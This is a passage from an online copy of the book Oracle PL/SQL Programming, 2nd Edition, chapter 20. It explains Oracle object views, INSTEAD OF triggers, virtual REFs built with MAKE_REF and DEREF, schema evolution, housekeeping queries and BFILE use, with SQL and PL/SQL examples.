      :NEW.file_name, :NEW.bytes, :NEW.keywords);
END;

In an ideal world, you will select an architecture and design approach before hurling every Oracle feature at your application. Use a feature if it make sense for your architectural approach. I tend to agree with Oracle's advice that if you do use triggers, you should use them in moderation.

Previous: 20.1 Example: Using Object Views | Oracle PL/SQL Programming, 2nd Edition | Next: 20.3 Syntax for Object Views
20.1 Example: Using Object Views | Book Index | 20.3 Syntax for Object Views
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 20] 20.3 Syntax for Object Views

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

20.3 Syntax for Object Views

Now that we've looked at one example and considered what INSTEAD OF triggers can offer, let's examine with more rigor the syntax required to create your own object views.

20.3.1 CREATE VIEW: Creating an Object View

This is the basic syntax for creating an object view:

CREATE [ OR REPLACE ] VIEW <view name>
   OF <object type name>
   [ WITH OBJECT OID DEFAULT | (<attribute list>) ]
   AS <query>
   [ WITH [ READ ONLY | CHECK OPTION ]];

Note that we've omitted some of the optional keywords, such as FORCE and CONSTRAINT, from this syntax discussion. The elements are as follows:

OF object type name

The name of the preexisting user-defined object type that this view will emulate.

WITH OBJECT OID

Indicates only that the OID specification follows. (It's a bit strange that the clause requires all three keywords. It seems grammatically sufficient to me to say WITH OID, which should mean "with object identifier," as opposed to WITH OBJECT OID, which means "with object object (sic) identifier." Must have been a late night at the syntax factory...

DEFAULT

In the event that the object view is defined on an underlying object table or object view, you can tell Oracle to use the OID of the underlying object. If your view is eligible to use DEFAULT, the result is the same whether you include or omit the WITH OBJECT OID DEFAULT clause. That is, the default is DEFAULT (!).

attribute list

Comma-separated list of type attributes which comprise a (usually unique) identifier.

query

Your query must retrieve columns or expressions that match one for one, in order, the individual attributes of the object type. The datatype of each SELECTed expression must also match, or be type-compatible with, the corresponding attribute defined in the object type. The maximum number of columns or expressions is 1000.

WITH CHECK OPTION

If your view is updateable -- either because it is inherently updateable or because you have created an INSTEAD OF trigger -- this option will prevent inserts or updates of data that cannot subsequently be selected (for example, because of a WHERE clause restriction).

WITH READ ONLY

Prevents any DML operation from being executed. This clause takes precedence over INSTEAD OF triggers.

It's also important to note what is missing. Conventional views may use an alias clause; that is, a comma-separated list of names that Oracle will assign, in order, to the columns of the view. By contrast, you cannot use an alias clause in an object view. Instead, the object view always derives its list of column (attribute) names from the attribute names of the underlying type.

20.3.2 DROP: Dropping Views and Triggers

There is no syntactic difference between dropping a conventional view and dropping an object view. Both are accomplished using the command:

DROP VIEW <view name>;

Dropping a view has the side effect of dropping any INSTEAD OF triggers that you have created on the view. Of course, you can drop INSTEAD OF triggers explicitly, using the following:

DROP TRIGGER <trigger name>;

20.3.3 MAKE_REF: Returning a Virtual REF

The MAKE_REF function returns a "virtual REF" for an object view. (REFs are described in Chapter 18.) Its syntax is:

MAKE_REF (<view name>, <value list>)

Where:

view name

The view from which you wish to derive a REF value (which other object views may reference).

value list

Comma-separated list of column values whose datatype must match one for one with the OID attribute(s) of <view name>.

As a generic example, let's say that we have a table foo, and we define a corresponding object type and object view:

CREATE TABLE foo (
   id NUMBER PRIMARY KEY,  -- defining it as a PK is optional
   name VARCHAR2(30)
);

CREATE TYPE Foo_t AS OBJECT (
   id NUMBER,
   name VARCHAR2(30)
);

CREATE VIEW foo_v
   OF Foo_t
   WITH OBJECT OID (id)
AS
   SELECT id, name
     FROM foo;

Now we can use MAKE_REF in an any statement, including something as simple as:

SELECT MAKE_REF(foo_v, 123) FROM DUAL;

This statement will return a REF to the virtual object with id = 123. (Although you will see a result for this query when you execute it from SQL*Plus, Oracle's earlier admonition still applies: don't attempt to store this value anywhere. Incidentally, this query causes the ORA-00932 error, "inconsistent datatypes," in SQL Worksheet.[2] )

[2] SQL Worksheet is an SQL interpreter that ships with Oracle Enterprise Manager. SQL Worksheet has one significant advantage over SQL*Plus: it retains in memory a good number of your recently issued statements, allowing you to retrieve and edit SQL statements or PL/SQL code easily. I developed many of the examples for the objects chapters of this book using this tool.

If you want to construct a REF via the foo_v view for object 123, the record in the foo table with id = 123 does not even need to exist! MAKE_REF merely applies an internal Oracle algorithm to the supplied arguments to derive a REF; it does not read the foo_v view to determine whether the object really exists in the underlying table.

One final note about MAKE_REF: you might be tempted to call MAKE_REF natively in PL/SQL:

DECLARE
   foo_ref REF Foo_t;
BEGIN
   foo_ref := MAKE_REF (foo_v, 123);    -- invalid
END;

But that statement fails with the error PLS-00201, "identifier 'MAKE_REF' must be declared." You might also try the following:

DECLARE
   foo_ref REF Foo_t;
BEGIN
   SELECT MAKE_REF(foo_v, 123)    -- invalid
     INTO foo_ref
     FROM DUAL;
END;

But this too fails, at least in Oracle 8.0.3. This behavior is a suspected bug.

Previous: 20.2 INSTEAD OF Triggers | Oracle PL/SQL Programming, 2nd Edition | Next: 20.4 Differences Between Object Views and Object Tables
20.2 INSTEAD OF Triggers | Book Index | 20.4 Differences Between Object Views and Object Tables
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 20] 20.4 Differences Between Object Views and Object Tables

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

20.4 Differences Between Object Views and Object Tables

In addition to the obvious difference between a view and a table, more subtle differences exist between an object view and an object table. Areas of difference include the following:

  • Uniqueness of object identifiers

  • Use of REFs

  • Storage of REFs

  • REFs to nonunique OIDs

Lets look at each difference in turn.

20.4.1 OID Uniqueness

An object table will always have a unique, system-defined object identifier, whether or not the object type includes attribute(s) which can serve as a unique identifier. While this is seldom, if ever, good practice, it is technically possible to create an object table where two or more object instances (rows) contain duplicate values in every column; the instances will still be unique in their object identifier. And, as discussed in the previous chapter, OIDs of table objects are globally unique, even across databases.

By contrast, object views can give rise to two types of OID duplication:

  • Duplication of OIDs within a single object view

  • Duplication of OIDs across multiple views (or across an object view and an object table)

20.4.1.1 Duplicate OIDs in a single view

An object view can easily contain multiple object instances (rows) for a given OID. Let's look at how that can happen.

In our earlier example, we chose to "smush" the detail table into a collection and use the primary key of the parent table as the (unique) OID of the view. If for some reason we had used a simple join on the foreign key, a given value of the primary key of the parent could indeed yield a nonunique OID. This would require a different underlying object type where the "keywords" attribute is a scalar rather than a collection:

CREATE TYPE Image_keyword_t AS OBJECT (
   image_id INTEGER,
   file_name VARCHAR2(512),
   file_type VARCHAR2(12),
   bytes INTEGER,
   keywords VARCHAR2(45)
);

The object view could then be created as follows.

CREATE VIEW image_keyword_v
   OF Image_keyword_t
   WITH OBJECT OID (image_id)
AS
   SELECT i.image_id, i.file_name, i.file_type, i.bytes, k.keyword
     FROM keywords k, images i
    WHERE k.image_id = i.image_id;

This duplication of OIDs may make sense for some applications; however, in the more likely case that you want to avoid duplicate OIDs, simply include enough attributes to make it unique:

WITH OBJECT OID (image_id, keywords)

20.4.1.2 Duplicate OIDs across multiple views

There are other scenarios in which object views duplicate object identifiers used elsewhere. For example, if your object view is defined on an underlying object table or view and if you use the DEFAULT keyword to specify the OID, the view contains OIDs that match the OIDs of the underlying construct:

CREATE VIEW gif_images_v
   OF Image_t
   WITH OBJECT OID DEFAULT
AS
   SELECT *
     FROM images_v
    WHERE file_type = 'GIF';

In this case, all of the OIDs that Oracle uses for instances (rows) of gif_images_v will match existing OIDs of the images_v view.

Logically, this possibility of "duplication" makes a certain amount of sense. A view is often thought of as a "stored query." Used here, the query simply retrieves a subset of the underlying objects and does not modify them in any way.

NOTE: Just because your object view is defined on an object table, you don't have to use the underlying OID. If you want the OIDs of the objects in gif_images_v to be unique from those of the underlying object, you could simply specify the image_id attribute as the OID:

CREATE VIEW gif_images_v
   OF Image_t
   WITH OBJECT OID (image_id)
   AS SELECT *
        FROM images_v
       WHERE file_type = 'GIF';

In this view, Oracle will use its internal algorithm to derive unique OIDs for the objects retrieved via gif_images_v.1

20.4.2 Using REFs with Object Views

As we saw in Chapter 18, Oracle allows us to define a "reference" or REF datatype to designate relationships between two object tables. We also saw how REF types provide convenient navigation among families of persistent objects through dot notation rather than explicit relational joins.

In the same way that you can define a REF to link two object tables, you can create a "virtual REF" to link two object views. To see how this works, and to examine a critical difference between virtual REFs and "real" REFs, let's return to an example at our favorite Web design firm, Planetary Pages.

20.4.2.1 Defining virtual REFs

As it turns out, the table of images we mentioned earlier includes a column that designates the creator of the image, as a foreign key to a table of artists. Our intention is to make the images_v object view include a REF to an object view of the artists table.

The (admittedly simplistic) table of artists looks like this:

CREATE TABLE artists (
   id INTEGER NOT NULL,
   name VARCHAR2(60),
   CONSTRAINT artists_pk PRIMARY KEY (id)
);

Here's the images table definition, with the new foreign key defined:

CREATE TABLE images (
   image_id INTEGER NOT NULL,
   file_name VARCHAR2(512),
   file_type VARCHAR2(12),
   bytes INTEGER,
   artist_id INTEGER,
   CONSTRAINT image_pk PRIMARY KEY (image_id),
   CONSTRAINT image_created_by_artist FOREIGN KEY (artist_id)
      REFERENCES artists (id)
);

Because we will use the Oracle function MAKE_REF, which only works with object views, we will need to define an object type for artists:

CREATE TYPE Artist_t AS OBJECT (
   id INTEGER,
   name VARCHAR2(60)
);

Now we can layer the Artist_t type on the artists table using an object view:

CREATE VIEW artists_v
   OF Artist_t
   WITH OBJECT OID (id)
AS
   SELECT id, name
     FROM artists;

We need to redefine the image_t type to include the REF:

CREATE TYPE Image_t AS OBJECT (
   image_id INTEGER,
   file_name VARCHAR2(512),
   file_type VARCHAR2(12),
   bytes INTEGER,
   artist_ref REF Artist_t,
   keywords Keyword_tab_t,
   MEMBER FUNCTION set_attrs (new_file_name IN VARCHAR2,
      new_file_type IN VARCHAR2, new_bytes IN INTEGER)
      RETURN Image_t,
   MEMBER FUNCTION set_keywords (new_keywords IN Keyword_tab_t)
      RETURN Image_t,
   PRAGMA RESTRICT_REFERENCES (DEFAULT, RNDS, WNDS, RNPS, WNPS)
);

After all of this preparatory work, we can at last show the new version of the object view. This statement uses the built-in MAKE_REF function, which accepts a key value and returns a REF to an object view:

CREATE VIEW images_v
   OF Image_t
   WITH OBJECT OID (image_id)
AS
   SELECT i.image_id, i.file_name, i.file_type, i.bytes,
      MAKE_REF (artists_v, i.artist_id),
      CAST (MULTISET (SELECT keyword
                        FROM keywords k
                       WHERE k.image_id = i.image_id)
            AS Keyword_tab_t)
     FROM images i;

The expression in bold above means "construct the REF that should point to the artists_v virtual object with artist ID of i.artist_id." I say "should" rather than "will" because Oracle does not check to make sure that the artist_id actually exists.

Let's take a closer look at the MAKE_REF in the example above:

MAKE_REF (artists_v, i.artist_id)

The first argument of this function, artist_v, is the target object view. The second argument, i.artist_id, is the value which MAKE_REF will convert into an OID to retrieve an instance of the virtual artist object.

It is not strictly necessary to have a foreign key, or even a primary key, in order to use MAKE_REF. But in almost all cases, it is highly desirable to make sure the target of the REF is a primary key-based OID, and that the REF is based on a foreign key.

20.4.2.2 Using virtual REFs

Where does all this get us? Once we have the view with its virtual REF, we can issue SQL statements that use dot navigation:

SELECT image_id, i.artist_ref.name
  FROM images_v i
 WHERE file_name = 'cheesefries.jpg';

On the surface, this statement is indistinguishable from what we might use with object tables. But there is a very important difference:

Using MAKE_REF in a view to convert a foreign key into a REF will produce an error if the foreign key value is NULL.

To illustrate this inconvenient behavior, let's put some data in the underlying artist and image tables:

INSERT INTO artists VALUES (100, 'Sam Picasso');

/* Insert an image with a valid artist id (for Case 1) */
INSERT INTO images VALUES (1000, 'cheesefries.jpg', 'JPG', 2097, 100);

/* Insert an image with an invalid artist id (must first disable the
|| foreign key constraint.)  This is for Case 2.
*/
ALTER TABLE images
   DISABLE CONSTRAINT image_created_by_artist;

INSERT INTO images VALUES (1002, 'sodajerk.jpg', 'JPG', 813, 99);

/* Insert an image with a NULL artist id. This is for Case 3. */
INSERT INTO images VALUES (1001, '57chevy.gif', 'GIF', 3128, NULL);

Let's run each of three cases and assess the results.

Case 1 is the "normal" case in which the artist_id actually exists:

/* Case 1 */
SELECT image_id, i.artist_ref.name
  FROM images_v i
 WHERE file_name = 'cheesefries.jpg';

 IMAGE_ID ARTIST_REF.NAME
--------- ------------------------------------------------------------
     1000 Sam Picasso

That works just fine -- just as if images_v and artists_v were object tables. As long as there is a valid foreign key, we can use dot navigation until the cows come home.

Case 2 illustrates what happens when the artist_id in the images table is non-null, but does not point to a valid artist_id in the artists table. In other words, you have a referential integrity problem -- we had to disable the foreign key to try this one out:

/* Case 2 */
SELECT image_id, i.artist_ref.name
  FROM images_v i
 WHERE file_name = 'sodajerk.jpg';

 IMAGE_ID ARTIST_REF.NAME
--------- ------------------------------------------------------------
     1002

Here, Oracle simply returns i.artist_ref.name as a NULL. This behavior matches that of object tables; if the object corresponding to the REF doesn't exist, you get a NULL back. Another name for this unknown reference value is a dangling REF.

Case 3 is the problem child. For the 57chevy.gif record, the artist_id field in the images table is simply null. This might be a common occurrence if, for example, the artist is unknown.

/* Case 3 */
SELECT image_id, i.artist_ref.name
  FROM images_v i
 WHERE file_name = '57chevy.gif';

Oracle replies, somewhat unforgivingly:

ERROR at line 3:
ORA-22972: NULL value not allowed in PRIMARY KEY-based object identifier

We get the same Oracle error whether or not the foreign key constraint is enabled. This behavior is vastly different from that of object tables, which simply return a null (as in the previous case). Personally, I prefer the behavior of object tables, in which REF-based navigation is more like a relational "outer join."

20.4.2.3 Working around the ORA-22972 problem

One workaround for this behavior is to use a DECODE in the MAKE_REF so that null artist_ids get converted to some weird value that will never appear in the artists table. Since Oracle doesn't complain if an artist_id doesn't exist (as illustrated in Case 2) the silent response results in a null -- which is the desired result.

CREATE VIEW images_v
   OF Image_t
   WITH OBJECT OID (image_id)
AS
   SELECT i.image_id, i.file_name, i.file_type, i.bytes,
          MAKE_REF (artists_v,
             DECODE(i.artist_id,
                    NULL, -1,
                    i.artist_id)),
      CAST (MULTISET (SELECT keyword
                        FROM keywords k
                       WHERE k.image_id = i.image_id)
            AS Keyword_tab_t)
     FROM images i;

The DECODE returns -1 if the artist_id is unknown; we are making the assumption that the artist_id will never, in fact, equal -1.

Seems like a lot of work just to use dot notation, doesn't it? There are other good reasons to use REFs, such as complex object retrieval (COR), but this feature is at present available only to OCI applications. (Note that OCI is beyond the scope of this book.) COR allows an application to efficiently retrieve an object and pre-fetch all objects REFerenced by that object to a predefined "depth level." It isn't yet clear whether Oracle will support some form of COR in a future version of PL/SQL.

20.4.2.4 DEREF: Interpreting a virtual REF

What should we do about updates to an object view that contains a REF if, for example, we are writing an INSTEAD OF trigger? How do we tell the view to deal with the constructed REF? Why, we use the DEREF function, of course. (Just what you were thinking, I bet.)

Here is the new version of our earlier INSTEAD OF trigger, modified to deal with the REF:

CREATE OR REPLACE TRIGGER images_v_insert
INSTEAD OF INSERT ON images_v
FOR EACH ROW
DECLARE
   /* The unrefcur cursor serves to "dereference" the artist_ref,
   || so that we can retrieve the object to which it refers.
   */
   CURSOR unrefcur IS
      SELECT DEREF(:new.artist_ref)
        FROM DUAL;

   /* We'll need a place to hold the object: */
   artist Artist_t;
BEGIN
   /* Go get the object... */
   OPEN unrefcur;
   FETCH unrefcur INTO artist;
   CLOSE unrefcur;

   /* This will fail with DUP_VAL_ON_INDEX if the images table
   || already contains a record with the new image_id.
   */
   INSERT INTO images
      VALUES (:NEW.image_id, :NEW.file_name, :NEW.file_type,
              :NEW.bytes, artist.id);

   IF :NEW.keywords IS NOT NULL THEN
      DECLARE
         /* Note: apparent bug prevents use of :NEW.keywords.LAST.
         || The workaround is to store :NEW.keywords as a local
         || variable (in this case keywords_holder.)
         */
         keywords_holder Keyword_tab_t := :NEW.keywords;
      BEGIN
         FOR the_keyword IN 1..keywords_holder.LAST
         LOOP
            INSERT INTO keywords
            VALUES (:NEW.image_id, keywords_holder(the_keyword));
         END LOOP;
       END;
   END IF;
END;

With this trigger defined, we can look briefly at an example of doing an INSERT:

INSERT INTO images_v                             -- invalid (bug?)
SELECT Image_t(451, 'library.jpg', 'JPG', 3092,
               REF(a),
               keyword_tab_t('BOOKS', 'LIBRARY', 'PUBLIC BUILDINGS'))
  FROM artists_v a
 WHERE id = 100;

which ought to work but fails with an ORA-00932 error, "inconsistent datatypes." (This is a suspected bug in Oracle 8.0.3.) As a workaround, you can either use the "relational equivalent" insert or issue an equivalent PL/SQL statement that does work.

The relational equivalent insert uses column values rather than the default constructor:

INSERT INTO images_v
SELECT 451, 'library.jpg', 'JPG', 3092,
       REF(a),
       keyword_tab_t('BOOKS', 'LIBRARY', 'PUBLIC BUILDINGS')
  FROM artists_v a
 WHERE id = 100;

The following PL/SQL snippet also works, with (or without) the constructor:

DECLARE
   image Image_t;
BEGIN
  SELECT Image_t(451, 'library.jpg', 'JPG', 3092,
                REF(a),
                keyword_tab_t('BOOKS', 'LIBRARY', 'PUBLIC BUILDINGS'))
    INTO image
    FROM artists_v a
   WHERE id = 100;
  INSERT INTO images_v VALUES (image);
END;

For more details about DEREF, refer to Chapter 18.

20.4.3 Storage of Virtual REFs

With object tables, REFs get physically stored in a table. That is, a column defined as a REF type can contain a binary value that Oracle can use as a "pointer" to an object.

However, when dealing with object views, Oracle does not yet allow you to store a REF pointing to a virtual object. In other words, even if you create a table with an appropriately typed REF column, you cannot actually save a value in this column. From one perspective, this is an irritant rather than a significant deficiency; as a workaround, create an object view of the table, and use MAKE_REF.

From another perspective, it's a bit unpleasant that we cannot intermingle object tables with object views; nor can we perform a simple transformation from an object view into an object table. I would like to be able to create an object table:

CREATE TABLE images2 OF image_t
   NESTED TABLE keywords STORE AS keyword_tab;

and then populate it from the view:

INSERT INTO images2                  -- invalid
 SELECT VALUE(i) FROM images_v i;

But alas, Oracle tells me I cannot: this request results in an ORA-22979 error, "cannot INSERT a REF from an object view into a table."

20.4.4 REFs to Nonunique OIDs

What do you suppose will happen if you create a REF to an object in an object view, but it has multiple object instances for the OID in question? Granted, this is a pretty weird case; you shouldn't be creating object views with ambiguous OIDs.

I won't keep you in suspense for this one. In my testing, DEREFing this type of virtual REF returned a null OID. That seems like an unusual result, so I don't think I would count on it in an application.

Previous: 20.3 Syntax for Object Views | Oracle PL/SQL Programming, 2nd Edition | Next: 20.5 Not All Views with Objects Are Object Views
20.3 Syntax for Object Views | Book Index | 20.5 Not All Views with Objects Are Object Views
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 20] 20.5 Not All Views with Objects Are Object Views

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

20.5 Not All Views with Objects Are Object Views

With the Oracle objects option installed, there are other interesting possibilities for views which do not necessarily qualify as "object views." For example, you can create a view that has an object as a column:

CREATE TABLE requisition (
   req_no INTEGER,
   image_id NUMBER
);

CREATE VIEW requisition_v
AS
   SELECT r.req_no, VALUE(i) image
     FROM requisition r,
          images_v i
    WHERE r.image_id = i.image_id;

The requisition view now has two columns: one for the req_no, of type INTEGER; and one for the image, of type Image_t.

You can combine many object features into an object view. For instance, you can define an object view that includes a column that contains a collection of objects. Just because the possibilities seem endless, though, there is no excuse to get carried away; objects should be restricted to "natural" representations of data; they shouldn't serve merely as the basis of intellectual calisthenics for the programmer.

Previous: 20.4 Differences Between Object Views and Object Tables | Oracle PL/SQL Programming, 2nd Edition | Next: 20.6 Schema Evolution
20.4 Differences Between Object Views and Object Tables | Book Index | 20.6 Schema Evolution
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 20] 20.6 Schema Evolution

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

20.6 Schema Evolution

One of the unsung heroes[3] of object views is their relative immunity from the problems of schema evolution that we discussed in Chapter 18. As the example below illustrates, object views do not impose the same "evolution penalty" as object tables. This resilience of object views is due at least in part to Oracle's refusal to let you store virtual REFs in a table (as discussed earlier in Section 20.4.3, "Storage of Virtual REFs"). Since virtual REFs are computed on the fly, you can drop and rebuild underlying schema objects without affecting the way that object views reference each other.

[3] This feature is "unsung" from the point of view that Oracle does not seem to mention it in their documentation.

Recall the earlier scenario about adding a table of artists. Let's pretend that we had to add the table of artists as a schema change, rather than rebuilding everything from scratch. Here's how we'll change the images table:

ALTER TABLE images
   ADD artist_id INTEGER;

The ability to execute this statement represents one significant advantage that object views provide over object tables. If images had been an object table defined directly on the images_t type, this statement would have failed with an ORA-22856 error, "cannot add columns to object tables."

Many DBAs do not like to use the ALTER TABLE statement in a production environment, but it's nice to know that it's possible. You could also recreate the table cleanly with the new column, drop the foreign key constraints to the old table, drop the old table, rename the new table, and rebuild the constraints. This, too, is impossible with object tables.

Proceeding with the rest of the schema change, here is the table of artists (just as we created it previously):

CREATE TABLE artists (
   id INTEGER,
   name VARCHAR2(60),
   CONSTRAINT artists_pk PRIMARY KEY (id)
);

To be "relationally correct," we'll add a foreign key to relate each image to an author:

ALTER TABLE images
   ADD CONSTRAINT image_created_by_artist
   FOREIGN KEY (artist_id)
   REFERENCES artists (id);

Now, as before, we can create the Artist_t type and its associated view:

CREATE TYPE Artist_t AS OBJECT (
   id INTEGER,
   name VARCHAR2(60)
);

CREATE VIEW artists_v
   OF Artist_t
   WITH OBJECT OID (id)
AS
   SELECT id, name
     FROM artists;

and now it's a simple matter to replace the Image_t type definition (as long as we have not implemented any object tables or column objects using this type):

CREATE OR REPLACE TYPE Image_t AS OBJECT (
   image_id INTEGER,
   file_name VARCHAR2(512),
   file_type VARCHAR2(12),
   bytes INTEGER,
   artist_ref REF Artist_t,
   keywords Keyword_tab_t,
   MEMBER FUNCTION set_attrs (new_file_name IN VARCHAR2,
      new_file_type IN VARCHAR2, new_bytes IN INTEGER)
      RETURN Image_t,
   MEMBER FUNCTION set_keywords (new_keywords IN Keyword_tab_t)
      RETURN Image_t,
   PRAGMA RESTRICT_REFERENCES (DEFAULT, RNDS, WNDS, RNPS, WNPS)
);

Previous: 20.5 Not All Views with Objects Are Object Views | Oracle PL/SQL Programming, 2nd Edition | Next: 20.7 Object Views Housekeeping
20.5 Not All Views with Objects Are Object Views | Book Index | 20.7 Object Views Housekeeping
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 20] 20.7 Object Views Housekeeping

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

20.7 Object Views Housekeeping

There are a few commands and facilities we haven't yet discussed that will help you to manage and control object views.

20.7.1 Data Dictionary

The USER_VIEWS (or ALL_VIEWS or DBA_VIEWS) view in the data dictionary includes several columns specific to object views. Table 20.2 lists some examples of using this information.

Table 20.2: Entries for Object ViewsData Dictionary

To Answer the Question...

Use This View

As In

What object views have I created?

USER_VIEWS

SELECT view_name
  FROM user_views
 WHERE type_text IS NOT NULL;

What object views have I created of the Foo_t type?

USER_VIEWS

SELECT view_name
  FROM user_views
 WHERE UPPER(type_text)
       LIKE 'FOO_T%';

What is the virtual OID of the Foo_v view?

USER_VIEWS

SELECT oid_text
  FROM user_views
 WHERE UPPER(type_text)
       LIKE 'FOO_T%';

What is the query on which I defined the Foo view?

USER_VIEWS

SET LONG 1000 -- or greater
SELECT text
  FROM user_views
 WHERE view_name = 'FOO';

What columns are in view Foo?

USER_TAB_COLUMNS

SELECT column_name, data_type_
       mod, data_type
  FROM user_tab_columns
 WHERE table_name = 'FOO';

Another way of getting a quick listing of the columns in a view is to "describe" it in SQL*Plus:

SQL> desc images_v

Name                            Null?    Type
------------------------------- -------- ----
IMAGE_ID                                 NUMBER(38)
FILE_NAME                                VARCHAR2(512)
FILE_TYPE                                VARCHAR2(12)
BYTES                                    NUMBER(38)
ARTIST_REF                               REF OF ARTIST_T
KEYWORDS                                 KEYWORD_TAB_T

20.7.2 Privileges

As with conventional views, creating an object view requires the creator to have either the CREATE VIEW or the CREATE ANY VIEW system privilege.

If you are attempting to create an instance of an object type by using the default constructor, you must have the EXECUTE privilege on that type.

However, if a user has a DML privilege on a view that has an INSTEAD OF trigger for that DML operation, he doesn't need explicit EXECUTE privileges if the trigger invokes a constructor; the trigger runs with the "owner rights model" described in Chapter 18.

20.7.3 Forcing Compilation

As with conventional views, if you make changes to an underlying database object on which an object view is based, Oracle will mark the view as "invalid." When this happens, Oracle will also mark as invalid any other database objects (such as other views, INSTEAD OF triggers, or PL/SQL packages) that depend on the view. Then, the next time that you use the view, Oracle is supposed to attempt to "recompile" it first.

However, when you are modifying schema, there are some cases where Oracle does not seem to automatically recompile the view. One case in particular occurs when you CREATE OR REPLACE, or otherwise recompile, the object type on which the view is defined. When this happens, your view becomes invalid, leading to some disconcerting error messages; at this point, you must either recreate or recompile the object view. The command to compile the view is:

ALTER VIEW <view name> COMPILE;

If compilation fails, Oracle should return an error message, and the view will remain "invalid." You may need to redefine the view using, for example, CREATE OR REPLACE VIEW.

The ALTER VIEW ... COMPILE command has the side effect of marking as invalid all database objects that are dependent on the view, such as other views or types. Oracle does appear to automatically recompile these dependent database objects.

Similarly, INSTEAD OF triggers can be recompiled using the following:

ALTER TRIGGER <trigger name> COMPILE [ DEBUG ];

Previous: 20.6 Schema Evolution | Oracle PL/SQL Programming, 2nd Edition | Next: 20.8 Postscript: Using the BFILE Datatype
20.6 Schema Evolution | Book Index | 20.8 Postscript: Using the BFILE Datatype
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 20] 20.8 Postscript: Using the BFILE Datatype

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

20.8 Postscript: Using the BFILE Datatype

A better abstraction for the Planetary Pages datatype Image_t would include a BFILE datatype rather than a VARCHAR2 file_name attribute. A BFILE is a file in the external operating system that Oracle can retrieve, but not store, using built-in packages. (We discuss the BFILE datatype in Chapter 4, Variables and Program Data.) We chose not to include this alternate representation in the core part of the chapter to avoid detracting from the basic themes of object views. However, let's look at it now.

The DDL follows for this alternate representation, with the changes highlighted in bold. First, here is the new version of the object type itself:

CREATE TYPE Image_t AS OBJECT (
    image_id INTEGER,
    image_file BFILE,
    file_type VARCHAR2(12),
    bytes INTEGER,
    keywords Keyword_tab_t,
    MEMBER FUNCTION set_attrs (new_image_file IN BFILE,
       new_file_type IN VARCHAR2, new_bytes IN INTEGER)
       RETURN Image_t,
    MEMBER FUNCTION set_keywords (new_keywords IN Keyword_tab_t)
       RETURN Image_t,
    PRAGMA RESTRICT_REFERENCES (DEFAULT, RNDS, WNDS, RNPS, WNPS)
);

CREATE TYPE BODY Image_t
AS
   MEMBER FUNCTION set_attrs (new_image_file IN BFILE,
       new_file_type IN VARCHAR2, new_bytes IN INTEGER)
       RETURN Image_t
   IS
      image_holder Image_t := SELF;
   BEGIN
      image_holder.image_file := new_image_file;
      image_holder.file_type := new_file_type;
      image_holder.bytes := new_bytes;
      RETURN image_holder;
   END;
   MEMBER FUNCTION set_keywords (new_keywords IN Keyword_tab_t)
       RETURN Image_t
   IS
      image_holder Image_t := SELF;
   BEGIN
      image_holder.keywords := new_keywords;
      RETURN image_holder;
   END;
END;

Now we need to create an "alias" known to Oracle for the directory that will contain the images. In this case, the alias is "webpix."

CREATE DIRECTORY webpix
AS
   '/files/web/pix';

The new version of the view uses the built-in BFILENAME to convert the filename in the underlying table into an Oracle BFILE datatype:

CREATE VIEW images_v
   OF Image_t
   WITH OBJECT OID (image_id)
AS
   SELECT i.image_id, BFILENAME('WEBPIX', i.file_name),
      i.file_type, i.bytes,
      CAST (MULTISET (SELECT keyword
                        FROM keywords k
                       WHERE k.image_id = i.image_id)
        AS Keyword_tab_t)
     FROM images i;

The INSTEAD OF trigger will need to make the inverse conversion -- that is, accept a BFILE and extract a filename. This is easy to do using the built-in procedure DBMS_LOB.FILEGETNAME:

CREATE OR REPLACE TRIGGER images_v_insert
INSTEAD OF INSERT ON images_v
FOR EACH ROW
DECLARE
   l_file_name images.file_name%TYPE;
   l_directory VARCHAR2(30);
BEGIN
   /* Determine the directory name */
   DBMS_LOB.FILEGETNAME (file_loc => :NEW.image_file,
      dir_alias => l_directory,
      filename => l_file_name);

   /* This will fail with DUP_VAL_ON_INDEX if the images table
   || already contains a record with the new image_id.
   */
   INSERT INTO images
      VALUES (:NEW.image_id, l_file_name, :NEW.file_type,
              :NEW.bytes);

   IF :NEW.keywords IS NOT NULL THEN
      DECLARE
         /* Note: apparent bug prevents use of :NEW.keywords.LAST.
         || The workaround is to store :NEW.keywords as a local
